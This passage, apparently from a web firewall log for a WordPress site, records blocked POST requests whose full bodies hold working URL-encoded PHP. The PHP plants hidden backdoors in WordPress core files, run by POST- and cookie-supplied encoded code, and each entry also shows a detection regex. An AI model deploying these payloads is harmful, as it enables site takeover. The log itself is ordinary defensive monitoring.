2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:44:39","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3813\nsec-fetch-dest:document\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:44:49","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI1tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:4395\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\n\nWX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:46:30","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ay:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4395\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLKxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\n\nay=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:46:37","62.210.185.4","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 